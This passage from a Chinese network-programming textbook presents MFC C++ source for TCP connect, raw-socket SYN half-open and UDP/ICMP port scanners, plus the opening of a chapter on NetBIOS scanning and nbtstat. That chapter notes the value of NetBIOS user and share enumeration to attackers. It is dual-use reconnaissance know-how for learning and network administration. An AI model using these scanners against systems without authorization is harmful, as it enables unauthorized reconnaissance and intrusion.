//停掉线程，此处只是设置停止标志。具体的停止方式，仍要由线程自己完成

g_bRunning=FALSE;

}

void CPortScanDlg::OnBUTTONScanCSocket()

{

//使用CSocket模式扫描

Scan(SCAN_MODE_SOCKET1);

}

void CPortScanDlg::OnBUTTONScanCSocket2()

{

//使用socket2模式扫描

Scan(SCAN_MODE_SOCKET2);

}

void CPortScanDlg::OnBUTTONScanSyn()

{

//使用TCP SYN半开模式扫描

Scan(SCAN_MODE_SYN);

}



Scan函数完成的就是扫描的过程，代码中的循环部分是根据指定的IP范围和给定的端口范围，分别创建一定数量的线程，实施扫描。虽然线程扫描代码不一样，一个是CSocket，一个是Socket，但原理一样，当然线程的创建也一样。下面代码中，需要注意的是，当同时创建多个线程的时候，需要在两个线程创建之间加一个Sleep函数调用，这样做既可以让线程有充分的时间处理所传递的参数，也可以给主线程及其他程序一些时间，否则整个程序像是“卡死”一样。另一个需要注意的是，如果在创建线程的同时，需要实时显示一些状态值（比如当前正在创建什么线程），为了避免显示这些状态值的控件进行优化（这种优化是不需要的，因为这会导致控件在运行期间不刷新、不变化，直到整个操作结束了，控件一次显示最后结果），所以可以通过DoEvent实现。



void CPortScanDlg::Scan(int mode)

{

//实际的扫描操作

UpdateData(TRUE);

//判断各值（IP、端口）是否有意义

if(m_uPortBegin＜1||m_uPortBegin＞65535||m_uPortEnd＜1||

m_uPortEnd＞65535||m_uPortBegin＞m_uPortEnd)

{

MessageBox("正常端口值是1～65535，并且开始端口应该小于或等于结束端口。",

"操作提示",MB_OK|MB_ICONERROR);

return;

}

UNIONIP uIPBegin,uIPEnd;

uIPBegin.uInt=IPStrToInt(m_strIPBegin);

uIPEnd.uInt=IPStrToInt(m_strIPEnd);

if(uIPBegin.uInt＞uIPEnd.uInt)

{

MessageBox("IP地址不对，结束IP应该大于或等于开始IP",

"操作提示",MB_OK|MB_ICONERROR);

return;

}

m_ctlTreeResult.DeleteAllItems();//清空当前列表内容。

//TCP SYN半开式扫描，方法特殊，不用多线程仍能达到很高的速度，所以单独处理

if(mode==SCAN_MODE_SYN)

{

SynScan(uIPBegin,uIPEnd,m_uPortBegin,m_uPortEnd);

return;

}

//创建各线程，其中每一个线程扫描一个IP的一个端口

CString strIP,strTemp;

//g_iTotalThreadCount=0;

g_bRunning=TRUE;

SetTimer(1,1000,NULL);

/*下面循环详见上面说明*/

for(UINT ip=uIPBegin.uInt;ip＜=uIPEnd.uInt;ip++)

{

strIP=IPIntToStr(ip);

HTREEITEM curr=m_ctlTreeResult.InsertItem(strIP,1,1,TVI_ROOT);

ThreadParam.strIP=strIP;

ThreadParam.bNoOrder=m_bNoOrder;

ThreadParam.ptr=this;

ThreadParam.TreeItem=curr;

for(UINT port=m_uPortBegin;port＜=m_uPortEnd;port++)

{

ThreadParam.uPort=port;

switch(mode)

{

case SCAN_MODE_SOCKET1:AfxBeginThread(ThreadCSocketScan,

＆ThreadParam,THREAD_PRIORITY_IDLE);

break;

case SCAN_MODE_SOCKET2:AfxBeginThread(ThreadCSocket2Scan,

＆ThreadParam,THREAD_PRIORITY_IDLE);

break;

default:g_bRunning=FALSE;break;

}

Sleep(50);

strTemp.Format("正在扫描主机:%s[%d]",strIP,port);

DoEvent(strTemp);//实时显示当前IP，当前端口

if(!g_bRunning)

{//如果用户单击"停止"按钮，则停止创建线程

ip=uIPEnd.iInt+1;

port=m_uPortEnd+1;

break;

}

}//for(UINT port=......)

}//for(UINT ip=......)

UpdateData(FALSE);

}



3.4.2.1　CSocket的connect扫描

connect扫描是最经典的一种扫描方式，在该方式下，每一个线程负责一个IP的一个端口的连接，最终将扫描的结果显示出来（通常只有扫到对方端口“开”时才显示）。本线程相对简单，且由于CSocket类已对TCP连接做了很好的封装，所以代码量很少。



UINT ThreadCSocketScan(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CPortScanDlg*ptr=threadparam-＞ptr;

HTREEITEM TreeItem=threadparam-＞TreeItem;//记下当前树控件的节点位置

BOOL bNoOrder=threadparam-＞bNoOrder;

g_iTotalThreadCount++;//线程计数器

//如果程序采用非顺序扫描，则等待一个3秒以内的随机时间后再开始连接

//如果线程多，则随机时间还可以再调大一些

if(bNoOrder)

Sleep(rand()%3000);

CSocket sock;

CString strTemp;

if(sock.Create())

{//对己方的Port口没有限制。

if(sock.Connect(strIP,uPort))

{//连接对方。

if(uPort＜1024)

{

//对于熟知端口，直接使用协议内置的名称

struct servent*se;

se=getservbyport(htons(uPort),"tcp");

if(se!=NULL)

strTemp.Format("%d%s",uPort,se-＞s_name);

else

strTemp.Format("%d",uPort);

}

else

{

//对于非熟知端口，采用搜集到的名称

strTemp.Format("%d%s",uPort,ptr-＞GetPortName(uPort,TRUE));

}

//将读到的值插入到树控件记忆的位置中

ptr-＞m_ctlTreeResult.InsertItem(strTemp,2,2,TreeItem);

sock.ShutDown(2);//关闭连接。避免对方到连接超时才判断已关闭

}

sock.Close();//关闭CSocket

}

g_iTotalThreadCount--;

return 0;

}



3.4.2.2　Socket2的connect扫描

Socket2的connect方式相比CSocket的connect方式更灵活、更有可操控性，但代码相对会多一些。



UINT ThreadCSocket2Scan(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CPortScanDlg*ptr=threadparam-＞ptr;

HTREEITEM TreeItem=threadparam-＞TreeItem;

BOOL bNoOrder=threadparam-＞bNoOrder;

g_iTotalThreadCount++;

if(bNoOrder)

Sleep(rand()%3000);

//创建一个Socket

SOCKET sock=-1;

sock=socket(AF_INET,SOCK_STREAM,0);//指明是TCP连接

if(sock==SOCKET_ERROR)

{

//AfxMessageBox("创建socket时出错");

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",

//MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

//

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);//对方IP

addr_remote.sin_port=htons(uPort);//对方端口

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务!",

//MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}

CString strTemp;

if(uPort＜1024)

{//对于熟知端口，直接使用协议里边的名称

struct servent*se;

se=getservbyport(htons(uPort),"tcp");

if(se!=NULL)

strTemp.Format("%d%s",uPort,se-＞s_name);

else

strTemp.Format("%d",uPort);

}

else

{//否则直接则函数中读

strTemp.Format("%d%s",uPort,ptr-＞GetPortName(uPort,TRUE));

}

ptr-＞m_ctlTreeResult.InsertItem(strTemp,2,2,TreeItem);

//关闭Socket

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

return 0;

}



3.4.2.3　TCP SYN扫描

半开扫描（TCP SYN）不同于前两种扫描，前二者都是完成了一个完整的三次握手（即connect函数），而半开扫描则只完成了两次握手，即宣告结果，因为仅通过两次握手已读到了要读的数据。需要说明的是，此方式在对方是Windows XP操作系统时，由于对方设置，效果并不理想。

半开扫描没有既定的函数可以调用，所以需要自己组包，然后通过RAW Socket中更底层的函数来实现：



typedef struct_iphdr

{

unsigned char h_verlen;//4位首部长度+4位IP版本号

unsigned char tos;//8位服务类型TOS

unsigned short total_len;//16位总长度（字节）

unsigned short ident;//16位标识

unsigned short frag_and_flags;//3位标志位

unsigned char ttl;//8位生存时间TTL

unsigned char proto;//8位协议(TCP、UDP或其他协议)

unsigned short checksum;//16位IP首部校验和

unsigned int sourceIP;//32位源IP地址

unsigned int destIP;//32位目的IP地址

}IP_HEADER;

//TCP伪首部的作用主要是进行校验和的计算

typedef struct psd_hdr//定义TCP伪首部

{

unsigned long saddr;//源地址

unsigned long daddr;//目的地址

char mbz;

char ptcl;//协议类型

unsigned short tcpl;//TCP长度

}PSDHEADER;

typedef struct_tcphdr//定义TCP首部

{

USHORT th_sport;//16位源端口

USHORT th_dport;//16位目的端口

unsigned int th_seq;//32位序列号

unsigned int th_ack;//32位确认号

unsigned char th_lenres;//4位首部长度/6位保留字

unsigned char th_flag;//6位标志位

USHORT th_win;//16位窗口大小

USHORT th_sum;//16位校验和

USHORT th_urp;//16位紧急数据偏移量

}TCPHEADER;

#define FINISH 100

#define RUN 200

#define SIO_RCVALL_WSAIOW(IOC_VENDOR,1)

#define SEQ 12345678



扫描函数的原理就是完成三次握手中的前两次，其中第一次是由扫描器向被扫描的服务器端发送SYN同步数据包，第二次是服务器端回复扫描器ACK确认数据包。按原“计划”，扫描器应该再向服务器发送一个ACK确认包完成三次握手，然而TCP SYN半开扫描在第三次握手时中止该操作或者向服务器端发送FIN结束数据包。

完成上面操作，需要扫描器自己组包，按最终格式来说，只要填充IP头和TCP头即可，但为了计算其中校验和一项，通常会再采用一个伪TCP头部，这样可以使所有校检和函数只使用同一个函数即可。所以总共需要填充三个头部信息：IP头、伪TCP头、TCP头，最终再由IP头+TCP头完成一个整包。



void CPortScanDlg::SynScan(UNIONIP uIPBegin,UNIONIP uIPEnd,UINT uPortBegin,UINT uPortEnd)

{

g_iTotalThreadCount++;

CString strIP,strTemp;

HTREEITEM curr;

IPHEADER ipHeader;//IP包头

TCPHEADER tcpHeader;//TCP包头

PSDHEADER psdHeader;//伪TCP包头

for(UINT ip=uIPBegin.uInt;ip＜=uIPEnd.uInt;ip++)

{//此例中IP按顺序依次扫描

for(UINT port=m_uPortBegin;port＜=m_uPortEnd;port++)

{//此例中端口按顺序依次扫描

SOCKET sock=INVALID_SOCKET;

SOCKADDR_IN addr_inl,addr_inr;//Local＆Remote

//注意必须使用SOCK_RAW和IPPROTO_IP。

if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)

{//表示用户封装IP头和TCP头

MessageBox("发送原始套接字Socket创建出错!\n","出错提示",

MB_OK|MB_ICONINFORMATION);

return;

}

BOOL flag=TRUE;

if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)＆flag,

sizeof(flag))==SOCKET_ERROR)

{

MessageBox("套接字选项IP_HDRINCL出错!\n","出错提示",

MB_OK|MB_ICONINFORMATION);

return;

}

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

MessageBox("发送时间溢出设置出错：SO_SNDTIMEO!\n","出错提示",

MB_OK|MB_ICONINFORMATION);

return;

}

iTimeOut=2000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

MessageBox("接收时间溢出设置出错：SO_SNDTIMEO!\n","出错提示",

MB_OK|MB_ICONINFORMATION);

return;

}

addr_inl.sin_family=AF_INET;

addr_inl.sin_port=htons(g_uLocalPort);//本地端口

addr_inl.sin_addr.s_addr=inet_addr(IPIntToStr(g_strLocalIP));

if(bind(sock,(PSOCKADDR)＆addr_inl,sizeof(addr_inl))==SOCKET_ERROR)

MessageBox("绑定本地IP接收出错。","出错提示",

MB_OK|MB_ICONINFORMATION);

//注意，SIO_RCVALL函数非常重要，是可以读取所有IP数据包的必要设置

DWORD dwBufferLen[10];

DWORD dwBufferInLen=1;

DWORD dwBytesReturned=0;

if(WSAIoctl(sock,SIO_RCVALL,＆dwBufferInLen,sizeof(dwBufferInLen),

＆dwBufferLen,sizeof(dwBufferLen),＆dwBytesReturned,NULL,NULL)

==SOCKET_ERROR)

MessageBox("WSAIoctl设置出错","出错提示",

MB_OK|MB_ICONINFORMATION);

addr_inr.sin_family=AF_INET;

strIP=IPIntToStr(ip);//对方IP字符串

curr=m_ctlTreeResult.InsertItem(strIP,1,1,TVI_ROOT);//树控件的位置

addr_inr.sin_addr.s_addr=inet_addr(strIP);//对方IP

addr_inr.sin_port=htons(port);//对方端口

//分别自己填充IP头、TCP头、伪TCP头，并计算其中的校验和

char SendBuf[128]={0};

//设置IP包头

ipHeader.h_verlen=(4＜＜4|sizeof(ipHeader)/sizeof(unsigned long));

ipHeader.tos=0;

ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));

ipHeader.ident=1;

ipHeader.frag_and_flags=0;

ipHeader.ttl=128;

ipHeader.proto=IPPROTO_TCP;

ipHeader.checksum=0;

ipHeader.sourceIP=addr_inl.sin_addr.s_addr;

ipHeader.destIP=addr_inr.sin_addr.s_addr;

//设置TCP头

tcpHeader.th_sport=addr_inl.sin_port;//htons(LocalPort);

tcpHeader.th_dport=addr_inr.sin_port;//htons(m_Port);

tcpHeader.th_seq=htonl(SEQ);

tcpHeader.th_ack=0;

tcpHeader.th_lenres=(sizeof(tcpHeader)/4＜＜4|0);

tcpHeader.th_flag=2;//2：SYN；1：FIN；16：ACK

tcpHeader.th_win=htons(512);

tcpHeader.th_urp=0;

tcpHeader.th_sum=0;

//伪TCP头

psdHeader.saddr=ipHeader.sourceIP;

psdHeader.daddr=ipHeader.destIP;

psdHeader.mbz=0;

psdHeader.ptcl=IPPROTO_TCP;

psdHeader.tcpl=htons(sizeof(tcpHeader));

//计算校验和

memcpy(SendBuf,＆psdHeader,sizeof(psdHeader));

memcpy(SendBuf+sizeof(psdHeader),＆tcpHeader,sizeof(tcpHeader));

tcpHeader.th_sum=CheckSum((USHORT*)SendBuf,

sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(SendBuf,＆ipHeader,sizeof(ipHeader));

memcpy(SendBuf+sizeof(ipHeader),＆tcpHeader,sizeof(tcpHeader));

ipHeader.checksum=CheckSum((USHORT*)SendBuf,

sizeof(ipHeader)+sizeof(tcpHeader));

//复制IP包+TCP包，进行发送

memcpy(SendBuf,＆ipHeader,sizeof(ipHeader));

int rect=sendto(sock,SendBuf,sizeof(ipHeader)+sizeof(tcpHeader),

0,(struct sockaddr*)＆addr_inr,sizeof(addr_inr));

if(rect==SOCKET_ERROR)

{

strTemp.Format("发送出错，出错号码:%d\n",WSAGetLastError());

MessageBox(strTemp,"出错提示",MB_OK|MB_ICONINFORMATION);

return;

}

int buflen=sizeof(addr_inr);

char RecvBuf[65000];

int iTime=0;//6秒钟未接到，则认为对方没数据

while(iTime＜3)

{

memset(RecvBuf,0,sizeof(RecvBuf));

rect=recvfrom(sock,RecvBuf,sizeof(RecvBuf),0,

(LPSOCKADDR)＆addr_inr,＆buflen);

if(rect!=SOCKET_ERROR)

{

strTemp.Format("%d",port);

m_ctlTreeResult.InsertItem(strTemp,2,2,curr);

break;

}

iTime++;

}//while(iTime＜3)

shutdown(sock,2);

closesocket(sock);

}//for(UINT port=......)

}//for(UINT ip=......)

g_iTotalThreadCount--;

}

//CRC校验通用代码

USHORT CPortScanDlg::CheckSum(USHORT*buffer,int size)

{

unsigned long cksum=0;

while(size＞1)

{

cksum+=*buffer++;

size-=sizeof(USHORT);

}

if(size)

{

cksum+=*(UCHAR*)buffer;

}

cksum=(cksum＞＞16)+(cksum＆0xffff);

cksum+=(cksum＞＞16);

return(USHORT)(～cksum);

}




3.5　编程实例：UDP端口扫描器

UDP扫描原理与TCP扫描原理不同，UDP扫描是通过向对方UDP端口发送数据，然后根据对方ICMP返回数据进行判断。接收ICMP数据包只能采用RAW Socket接收到所有的数据包，然后从中过滤出哪一个数据包是对方返回的，进而判断出对方端口是否处于开状态。


 3.5.1　程序主界面

根据前面几节的分析，可以做一个界面，如图3.9所示。
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图　3.9　UDP扫描器界面图

主界面与图3.8“TCP扫描器界面图”类似，单击“开始扫描”按钮时将开始进行UDP扫描；在扫描期间，单击“停止扫描”按钮将停止正在扫描的线程。


3.5.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为PortScan_UDP。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量。
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2.在文件的前面加入必要的声明、定义



#include＜winsock2.h＞

#pragma comment(lib,"ws2_32")

#define INIFILENAME".\\PortScan.ini"

//子协议名称(如"TCP")最大长度

#define MAX_PROTO_TEXT_LEN 16

//子协议数量

#define MAX_PROTO_NUM 12

typedef struct_iphdr

{

unsigned char h_lenver;//4位首部长度+4位IP版本号

unsigned char tos;//8位服务类型TOS

unsigned short total_len;//16位总长度（字节）

unsigned short ident;//16位标识

unsigned short frag_and_flags;//3位标志位

unsigned char ttl;//8位生存时间TTL

unsigned char proto;//8位协议(TCP、UDP或其他)

unsigned short checksum;//16位IP首部校验和

unsigned int sourceIP;//32位源IP地址

unsigned int destIP;//32位目的IP地址

}IPHEADER;

//定义UDP首部

typedef struct_udphdr

{

unsigned short uh_sport;//16位源端口

unsigned short uh_dport;//16位目的端口

unsigned short uh_len;//16位长度

unsigned short uh_sum;//16位校验和

}UDPHEADER;

//定义ICMP首部

typedef struct_icmphdr

{

BYTE i_type;//8位类型

BYTE i_code;//8位代码

USHORT i_cksum;//16位校验和

USHORT i_id;//识别号（一般用进程号作为识别号）

USHORT i_seq;//报文序列号

ULONG timestamp;//时间戳

}ICMPHEADER;

typedef struct_packet

{

IP_HEADER ipheader;

union Translayer

{

TCP_HEADER tcpheader;

UDP_HEADER udpheader;

ICMP_HEADER icmpheader;

}translayer;

}PACKET;

//定义子协议映射表

typedef struct_protomap

{

int ProtoNum;

char ProtoText[MAX_PROTO_TEXT_LEN];

}PROTOMAP;

//为子协议映射表赋值

PROTOMAP ProtoMap[MAX_PROTO_NUM]={

{IPPROTO_IP,"IP"},

{IPPROTO_ICMP,"ICMP"},

{IPPROTO_IGMP,"IGMP"},

{IPPROTO_GGP,"GGP"},

{IPPROTO_TCP,"TCP"},

{IPPROTO_PUP,"PUP"},

{IPPROTO_UDP,"UDP"},

{IPPROTO_IDP,"IDP"},

{IPPROTO_ND,"NP"},

{IPPROTO_RAW,"RAW"},

{IPPROTO_MAX,"MAX"},

{NULL,""}

};

#define MAXBUFF 8192

#define ICMP_UNREACH_PORT 3

#define ICMP_UNREACH 4

#define IP_RF 0x8000//保留的段标志

#define IP_DF 0x4000//非段标志

#define IP_MF 0x2000//更多的段标志

#define IP_OFFMASK 0x1fff//段位的掩码

enum{CMD_NAME,DST_IP,START_PORT,LAST_PORT};

typedef struct ThreadParamStruct

{//对于每一个线程，传过去的参数

CString strIP;//要扫的IP地址

UINT uPort;//要扫的端口

BOOL bNoOrder;//是否按随机的顺序扫描

CPortScanDlg*ptr;//指向父线程的对话框

HTREEITEM TreeItem;//指向结果要显示的树型控件节点

}THREADPARAM;

THREADPARAM ThreadParam;

//定义几个全局变量供所有函数使用

UINT ThreadUDPScan(LPVOID pParam);

BOOL g_bRunning;

int g_iTotalThreadCount;



3.程序主要代码



BOOL CPortScanDlg::OnInitDialog()

{

......//由Visual C++在创建时自动生成的代码略

//Socket初始化

srand((unsigned)time(NULL));

WSAData wsaData;

WSAStartup(WINSOCK_VERSION,＆wsaData);

//设置图标

m_ctlTreeResult.SetImageList(＆m_ctlImageList,LVSIL_NORMAL);

//从INI文件中，读取本地配置。

CString strTemp;

char buff[MAX_PATH];

GetPrivateProfileString("Param","IPBegin","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_strIPBegin.Format("%s",buff);

GetPrivateProfileString("Param","IPEnd","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_strIPEnd.Format("%s",buff);

m_uPortBegin=GetPrivateProfileInt("Param","PortBegin",1,INIFILENAME);

m_uPortEnd=GetPrivateProfileInt("Param","PortEnd",1024,INIFILENAME);

g_iTotalThreadCount=0;//总线程个数

UpdateData(FALSE);

return TRUE;

}

void CPortScanDlg::OnBUTTONScan()

{

//实施具体的扫描

UpdateData(TRUE);

if(m_uPortBegin＜1||m_uPortBegin＞65535||m_uPortEnd＜1||

m_uPortEnd＞65535||m_uPortBegin＞m_uPortEnd)

{

MessageBox("端口值范围应该是1～65535，并且开始端口小于或等于结束端口。",

"操作提示",MB_OK|MB_ICONERROR);

return;

}

UNIONIP uIPBegin,uIPEnd;

uIPBegin.uInt=IPStrToInt(m_strIPBegin);

uIPEnd.uInt=IPStrToInt(m_strIPEnd);

if(uIPBegin.uInt＞uIPEnd.uInt)

{

MessageBox("IP地址不对，结束IP应该大于或等于开始IP",

"操作提示",MB_OK|MB_ICONERROR);

return;

}

m_ctlTreeResult.DeleteAllItems();

CString strIP,strTemp;

g_iTotalThreadCount=0;

SetTimer(1,1000,NULL);

//依次根据不同的IP和端口值，生成专门的扫描函数

for(UINT ip=uIPBegin.uInt;ip＜=uIPEnd.uInt;ip++)

{

strIP=IPIntToStr(ip);

HTREEITEM curr=m_ctlTreeResult.InsertItem(strIP,1,1,TVI_ROOT);

g_bRunning=TRUE;

for(UINT port=m_uPortBegin;port＜=m_uPortEnd;port++)

{

ThreadParam.strIP=strIP;

ThreadParam.uPort=port;

ThreadParam.bNoOrder=m_bNoOrder;

ThreadParam.ptr=this;

ThreadParam.TreeItem=curr;

AfxBeginThread(ThreadUDPScan,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(50);

strTemp.Format("正在扫描主机:%s[%d]",strIP,port);

DoEvent(strTemp);

if(!g_bRunning)

{

ip=uIPEnd.iInt+1;

port=m_uPortEnd+1;

break;

}

}//for(UINT port=......

}//for(UINT ip=......

UpdateData(FALSE);

}



由于GetPortName、OnCancel、OnTimer、DoEvent、OnBUTTONScanStop五函数的函数体和解释，UDP扫描器与TCP扫描器完全一样，故此处省略，不再重复，详细内容可参见TCP扫描器源代码相应部分。



UINT ThreadUDPScan(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CPortScanDlg*ptr=threadparam-＞ptr;

HTREEITEM TreeItem=threadparam-＞TreeItem;

BOOL bNoOrder=threadparam-＞bNoOrder;

SOCKET sockSend=socket(AF_INET,SOCK_DGRAM,0);//发送用的描述符

if(sockSend==SOCKET_ERROR)

{

//AfxMessageBox("Socket创建失败。");

return-1;

}

SOCKET sockRecv=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);//接收用的描述符

if(sockRecv＜0)

{

AfxMessageBox("RAW Socket创建失败。");

closesocket(sockSend);

return-2;

}

g_iTotalThreadCount++;

struct sockaddr_in send_sa;//发送端地址信息

memset(＆send_sa,0,sizeof(send_sa));

send_sa.sin_family=AF_INET;

send_sa.sin_addr.s_addr=inet_addr(strIP);

send_sa.sin_port=htons(uPort);

int res=sendto(sockSend,NULL,0,0,(struct sockaddr*)＆send_sa,sizeof(send_sa));

closesocket(sockSend);

struct timeval tv;

fd_set select_fd;

UINT uPortCurr;

char buff[MAXBUFF];

CString strTemp;

for(uPortCurr=ptr-＞m_uPortBegin;uPortCurr＜=ptr-＞m_uPortEnd;uPortCurr++)

{

strTemp.Format("正在扫描端口：%d",uPortCurr);

ptr-＞DoEvent(strTemp);

if(!g_bRunning)

break;

fflush(stdout);

send_sa.sin_port=htons(uPortCurr);

int res=sendto(sockSend,NULL,0,0,(struct sockaddr*)＆send_sa,sizeof(send_sa));

tv.tv_sec=1;

tv.tv_usec=0;

while(g_bRunning)

{

FD_ZERO(＆select_fd);

FD_SET(sockRecv,＆select_fd);

if(select(sockRecv+1,＆select_fd,NULL,NULL,＆tv)＞0)

{

struct ip*ip;

struct icmp*icmp;

int hlen;

UINT port;

memset(＆ip,0,sizeof(ip));

if(recvfrom(sockRecv,buff,MAXBUFF,0,NULL,NULL)!=56)

continue;

ip=(struct ip*)buff;

hlen=ip-＞ip_hl＜＜2;

icmp=(struct icmp*)(buff+hlen);

port=(UINT)ntohs(*(u_short*)(buff+20+8+20+2));

if((ip-＞ip_src.s_addr!=send_sa.sin_addr.s_addr)||

(icmp-＞icmp_type!=ICMP_UNREACH)||

(icmp-＞icmp_code!=ICMP_UNREACH_PORT)||(port!=uPortCurr))

continue;

}

else

{

CString strTemp;

if(uPortCurr＜1024)

{

struct servent*se;

se=getservbyport(htons(uPortCurr),"udp");

if(se!=NULL)

strTemp.Format("%d%s",uPortCurr,se-＞s_name);

else

strTemp.Format("%d",uPortCurr);

}

else

{

strTemp.Format("%d%s",uPortCurr,

ptr-＞GetPortName(uPortCurr,FALSE));

}

ptr-＞m_ctlTreeResult.InsertItem(strTemp,TreeItem);

}//end if

break;

}//end while

}//end for

closesocket(sockSend);

closesocket(sockRecv);

g_iTotalThreadCount--;

return 0;

}




第4章　NetBIOS扫描器的设计

NetBIOS扫描器就是使用NetBIOS协议对远端主机进行扫描。就像TCP/IP协议适合于互联网的通信，NetBIOS协议适合于在局域网内使用。虽然NetBIOS作为通信的一部分并不适用于广域网，但由于其良好而全面的用户管理、信息共享等方面的应用，以及已广泛应用于局域网领域，所以互联网的设计者就将NetBIOS引入广域网上，扩展为NetBIOS over TCP，并封装了NetBIOS原来的数据结构和函数，扩展出很多新的API。本章就是在这些新的API的基础上，通过NetBIOS的原理和知识，分析和讨论NetBIOS扫描器的设计方法。

通过NetBIOS协议，扫描器可以读取对方主机的用户名列表、共享目录名列表、组名列表、时间、服务类型以及MAC地址。相比于其他各种扫描器，NetBIOS扫描器的强大仅次于漏洞扫描器，因为作为黑客，有了用户名列表就可以了解对方主机的用户使用情况，甚至可以对对方主机的密码进行尝试；仅从字面上看，共享目录本身就是供别人共享上传或下载的，但通过NetBIOS扫描到的共享目录名列表中，包含了系统隐含的、不是用户主观设置的共享目录，而这些目录又是系统中很关键的信息，对这些目录的操作显然能危害到系统。因此NetBIOS协议所提供的功能是极其危险的，是黑客和网络安全员同时重点关注的地方。

当然，因为NetBIOS暴露的是操作系统的各项信息，而不像其他服务仅限于某项服务。所以本章专列一节讨论NetBIOS安全性问题。如果通过配置增加Windows的安全性，同时，Windows XP操作系统在NetBIOS方面预设了远比Windows 2000要严格得多的默认选项，所以只要用户不去做一些盲目的修改，Windows XP的安全性还是比较高的，这也是NetBIOS扫描器在扫描Windows XP操作系统时并不像想象中那么好的一个原因。

本章针对NetBIOS主要给出了两个实例，一个是针对IP容易修改，而MAC地址唯一的特性，做了一个通过MAC地址辨别仿装IP地址的应用，该扫描器既可以作为一个小型网络管理维护工具，也可以作为一个反“IP欺骗”的工具；另一个实例是采用每章的惯例，设计一个通用的NetBIOS扫描器。


 4.1　NetBIOS协议的使用

在第2章的2.1节“常用的网络编程”中，已对NetBIOS协议和NetBEUI协议进行了综述，故这里不再重复。下面重点讲解NetBIOS协议的配置和查看命令。


 4.1.1　查看和修改NetBIOS配置

如前所述，在后期的Windows系列操作系统中，NetBIOS协议会随TCP/IP协议的安装而自动安装NetBIOS，并称为NBT。用户可以针对每个基于TCP/IP协议的网卡独立地设置该网卡是否支持NBT协议。

同样以Windows XP为例，查看或修改某一个网卡是否支持NBT协议，可以采用下面的方式。首先打开“控制面板”，在弹出的“控制面板”窗口中双击“网络连接”图标，则会打开“网络连接”窗口，该窗口中会列出所有“网卡”，其中有些网卡可能是虚拟网卡，并不一定是物理网卡，例如有些VPN虚拟网卡。选择要查看或修改NBT协议的图标，右击该图标，选“属性”，则会弹出该网卡的属性对话框，如图4.1所示。

[image: ]


图　4.1　网卡连接属性

属性窗口列出了一个网卡所支持的服务和协议，其中“常规”选项卡中，“连接时使用”项指明了该属性所绑定的网卡（包括虚拟网卡），在“此连接使用下列项目”中列出了该网卡所包含的服务和协议，选择“Internet协议（TCP/IP）”选项，然后单击“属性”按钮，则可以对其属性进行设置，如图4.2所示。
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图　4.2　Internet协议（TCP/IP）属性

其中，要注意“自动获得IP地址”选项，比如在Windows 2000/XP中，当选择“自动获得IP地址”后会启用DHCP服务器，从该服务器使用NetBIOS设置；如果使用静态IP地址或DHCP服务器不提供NetBIOS设置，则启用TCP/IP上的NetBIOS。虽然该项同属NetBIOS范畴，但此处不过多展开。

单击“高级”按钮，会弹出“高级TCP/IP设置”对话框，在该对话框中选择"WINS"选项卡，如图4.3所示。
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图　4.3　“高级TCP/IP设置”中的“NetBIOS设置”

在该对话框中，上半部是WINS地址列表，中间是“启用LMHOSTS查询”。下面是NetBIOS设置，通过更改这里的配置，可以设置该网卡是否使用“TCP/IP上的NetBIOS”功能。

其中的LMHOSTS指的是lmhosts.sam文件，在Windows XP默认的配置下，该文件在"C:\WINDOWS\system32\drivers\etc"目录下，其作用是进行NetBIOS名静态解析。该文件中的内容类似于DNS，将NetBIOS名和IP地址对应起来，lmhosts.sam文件是个纯文本文件。

需要说明的是，通过上述方法可以启用或禁止某一个网卡的“TCP/IP上的NetBIOS”功能，修改了某一个网卡的该项配置，并不影响其他网卡的配置。


4.1.2　查看NetBIOS配置的命令

除了按上节介绍的改变NBT的配置之外，Windows命令行还提供了一个查询当前NetBIOS状态的命令nbtstat，通过该命令，用户可以查询涉及NetBIOS信息的网络机器。另外，它还可以用来消除NetBIOS高速缓存器和预加载LMHOSTS文件。这个命令在进行安全检查时非常有用。

用法：nbtstat[-a RemoteName][-A IPaddress][-c][-n][-R][-r][-S][-s][-R R][interval]

参数如下：
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下面以实例进行说明，在“命令提示符”窗口中输入"nbtstat-A 192.168.1.101"，结果如图4.4所示。
